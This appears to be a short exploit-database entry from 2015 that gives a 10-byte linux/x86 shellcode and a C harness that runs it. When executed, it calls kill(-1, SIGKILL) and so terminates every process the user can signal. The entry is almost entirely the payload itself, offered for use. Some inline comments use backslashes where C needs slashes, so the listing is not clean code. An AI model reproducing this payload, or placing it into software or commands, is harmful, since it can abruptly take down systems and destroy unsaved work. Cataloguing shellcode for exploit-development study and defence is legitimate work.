linux/x86 kill(-1, SIGKILL) - 10 bytes

2015-05-05T00:00:00
ID 1337DAY-ID-23594
Type zdt
Reporter Febriyanto Nugroho
Modified 2015-05-05T00:00:00

Description

Exploit for linux/x86 platform in category shellcode

                                        
                                            // linux/x86 kill(-1, SIGKILL) - 10 bytes
// Febriyanto Nugroho

#include <stdio.h>

char shellcode[] = "\x6a\x25" 	\\ push   $0x25
                   "\x58" 	\\ pop    %eax
                   "\x6a\xff" 	\\ push   $0xffffffff = -1
                   "\x5b" 	\\ pop    %ebx
                   "\xb1\x09" 	\\ mov    $0x9,%cl
                   "\xcd\x80"; 	\\ int    $0x80

int main(int argc, char **argv) {
asm("jmp %0;" : "=m" (shellcode));
}

#  0day.today [2018-01-09]  #